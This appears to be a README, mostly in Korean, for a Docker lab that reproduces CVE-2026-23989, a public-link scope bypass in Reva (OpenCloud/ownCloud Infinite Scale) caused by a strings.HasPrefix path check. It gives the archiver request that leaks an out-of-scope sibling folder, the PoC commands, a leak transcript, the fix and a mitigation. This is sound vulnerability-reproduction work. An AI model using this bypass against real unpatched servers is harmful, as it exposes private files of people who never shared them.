
# CVE-2026-23989 재현 랩(A/B Docker) — OpenCloud / ownCloud Infinite Scale의 Reva 공개 링크 범위 검증 우회
| CVE | CVE-2026-23989 |
| Advisory | GHSA-vf5j-r2hw-2hrw ("Public Link Exploit") |
| CVSS 3.1 | 8.2 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| Class | 취약한 접근 제어 — 범위 검증의 경로 접두사 혼동 |
| Root cause | Reva checkIfNestedResource가 경로 포함 여부 확인에 strings.HasPrefix를 사용함 |
| Affected | OpenCloud stable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1) |
| Fixed | OpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522) |
| Disclosed | 2026-02-05 |
OpenCloud는 Kiteworks가 ownCloud를 인수한 후 전 ownCloud 엔지니어들이 만든 ownCloud Infinite Scale (OCIS) 의 2025년 포크입니다. 이 결함은 OCIS/OpenCloud가 공유하는 CS3 스토리지 백엔드인 Reva에 있으며, 공급업체 권고에 따르면 "ownCloud (Kiteworks) 코드베이스에서 시작되었으며 OpenCloud가 OCIS를 포크할 때 상속되었습니다." OpenCloud는 취약한 버전과 수정된 버전 모두에 대해 깔끔하고 고정된 공개 이미지를 제공하여 정확한 A/B 비교가 가능하기 때문에 여기서 사용됩니다.
internal/grpc/interceptors/auth/scope.go, 함수 checkIfNestedResource — 공개 링크 토큰이 리소스에 접근할 수 있는지 여부를 결정하는 게이트웨이 인터셉터:
// vulnerable (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil
parentPath는 공유 폴더의 경로(링크의 범위)이고, childPath는 요청된 리소스의 경로입니다. 문자열 접두사 확인은 경로 포함 여부 확인이 아닙니다:
parentPath = "/Shared"
childPath = "/Shared-secret/flag.txt" (형제 경로, 자식이 아님)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true ← 오류: 접근 허용됨
따라서 /Shared로 범위가 지정된 링크는 경로가 문자열 /Shared로 시작하는 동일 공간의 모든 리소스(예: /Shared-secret, /Shared-2024, /Shared backup)에도 도달할 수 있습니다. 이 수정은 테스트를 filepath.Rel로 대체하고 ..로 시작하는 상대 경로를 거부합니다(전체 패치는 patch/reva-scope.go.patch에 있음).
공개 링크 토큰을 전달하는 모든 게이트웨이 작업은 이 버그가 있는 범위 검사를 통과하지만, 발견자들의 프리미티브(그리고 이 랩의 프리미티브)는 public-token: 헤더로 공개 링크에 인증되는 GET /archiver의 아카이버 서비스입니다. 이 서비스는 리소스 id(?id=<fileid>)를 받아 탐색한 후 zip을 스트리밍합니다. 범위 밖의 접두사 형제의 id를 가리키면 버그가 있는 검사가 이를 허용합니다:
GET /archiver?id=<id-of-/Shared-secret>
public-token: <link token scoped to /Shared>
→ 200, zip of /Shared-secret (on 4.0.2)
→ 404 "gateway could not find space for ref=…" (on 4.0.3)
공격자는 범위 밖 대상의 리소스 id를 제공해야 합니다. 이 불투명한 id는 무작위 UUID이며 공개 링크 자체를 통해 열거할 수 없습니다(링크는 소유자의 공간을 나열할 수 없으며 401을 반환합니다). 그러나 OCIS에서 리소스의 oc:fileid는 거의 모든 WebDAV/graph 응답, 공유 초대, 활동 알림 및 웹 URL(/f/<id>)에 노출되므로, 이전 협력자, 다른 공유의 이전 수신자 또는 내부 사용자는 일반적으로 이를 보유하고 있습니다. 이것이 공급업체가 공격 복잡성을 Low로 평가한 이유입니다. 랩의 setup.sh는 "피해자로서" id를 얻어 공격자 단계에 전달하여 이러한 현실적인 사전 지식을 모델링합니다. 경로 탐색(?path=../…)은 실행 가능한 대안이 아닙니다: 해당 경로는 공유를 기준으로 확인되고 정리됩니다(404).
"/"이고 HasPrefix("/", "/Shared")는 false입니다(랩에서 확인: 공간 루트 아카이브 → 404). /Private과 같은 비접두사 형제도 취약한 빌드에서 거부됩니다 — 랩은 이를 대조군으로 사용하여 효과가 포괄적인 인증 실패가 아니라 구체적으로 접두사 버그임을 증명합니다.| 파일 | 용도 |
|---|---|
docker-compose.yml | OpenCloud 컨테이너 하나; OC_TAG가 취약한 버전(4.0.2) 또는 수정된 버전(4.0.3)을 선택합니다. |
setup.sh | 데모 사용자 mary의 공간에 피해자 시나리오를 시드하고 /Shared에 비밀번호 없는 공개 링크를 생성합니다. state.env를 작성합니다. |
exploit.sh | 공격자 PoC. 링크 토큰과 대상 리소스 id가 주어지면 아카이버를 호출하고 유출된 모든 바이트를 출력합니다. |
verify.sh | 단일 명령 A/B: 4.0.2에서 재현, 4.0.3에서 수정 확인, PASS/FAIL 매트릭스 출력. |
patch/reva-scope.go.patch | 정확한 업스트림 한 줄 수정, 주석 포함. |
mary의 개인 공간에 심어진 시나리오:
/Shared/public-note.txt ← 공개 링크를 통해 공유됨 (범위 내)
/Shared-secret/flag.txt ← PoC 대상; 경로가 "/Shared" 접두사 (범위 밖)
/Private/topsecret.txt ← 대조군; 비접두사 (범위 밖, 계속 거부됨)
요구 사항: Docker + Docker Compose, curl, python3. 약 250MB의 이미지를 받습니다.
./verify.sh
예상 출력:
== Exploit + controls against VULNERABLE 4.0.2 ==
[PASS] in-scope /Shared (legit access) (expected leak)
[PASS] PoC: out-of-scope /Shared-secret (expected leak)
[PASS] non-prefix /Private (must stay denied) (expected deny)
== Exploit + control against FIXED 4.0.3 ==
[PASS] in-scope /Shared (still works) (expected leak)
[PASS] PoC: out-of-scope /Shared-secret (fixed) (expected deny)
== Verdict ==
5 passed, 0 failed
CVE-2026-23989 reproduced on 4.0.2 and confirmed fixed on 4.0.3.
안정 버전 대신 롤링 릴리스 쌍:
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh
# 1. 취약한 빌드 시작
OC_TAG=4.0.2 docker compose up -d
# 2. 피해자 시나리오 시드 (공개 링크 생성, state.env 작성)
./setup.sh
# 3. 공격: 범위 밖 형제 유출 (state.env에서 대상 읽기)
./exploit.sh # 기본값은 /Shared-secret id
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")" # 대조군: 거부됨
취약한 빌드에 대한 실제 트랜스크립트(state.env 값은 실행마다 다름):
===== EXPLOIT /Shared-secret (out-of-scope prefix sibling) =====
[*] Public link token: UVWPXGsjlLJRYxK (scope: a single shared folder)
[*] HTTP 200, 365 bytes
Shared-secret/flag.txt:
FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] LEAK CONFIRMED — out-of-scope file bytes exfiltrated via the public link.
===== CONTROL /Private (out-of-scope, non-prefix) =====
[*] HTTP 404, 249 bytes
[-] DENIED — server refused: error: not found: gateway could not find space for ref=…
동일한 데이터(동일한 토큰 및 id)로 수정 확인:
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh # 이제 → HTTP 404, DENIED
정리:
docker compose down -v
GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT=""를 설정하세요. 공급업체는 이 방법이
문제를 완전히 완화한다고 확인합니다(공개 링크는 오류를 반환합니다).docker-compose.yml은 PoC를 스크립트로 실행할 수 있도록 의도적으로 인스턴스를 약화시킵니다:
PROXY_ENABLE_BASIC_AUTH=true(curl -u/public-token이 OIDC 절차 없이 작동하도록),
IDM_CREATE_DEMO_USERS=true(mary/demo 등 — 공개 비밀번호),
IDM_ADMIN_PASSWORD=admin, 비밀번호 없는 공개 링크, 자체 서명 인증서(curl -k).
이 중 어느 것도 취약점이 아닙니다. 셸에서 관찰 가능하게 만들 뿐입니다. 우회 자체는 이와 무관합니다.
8d52003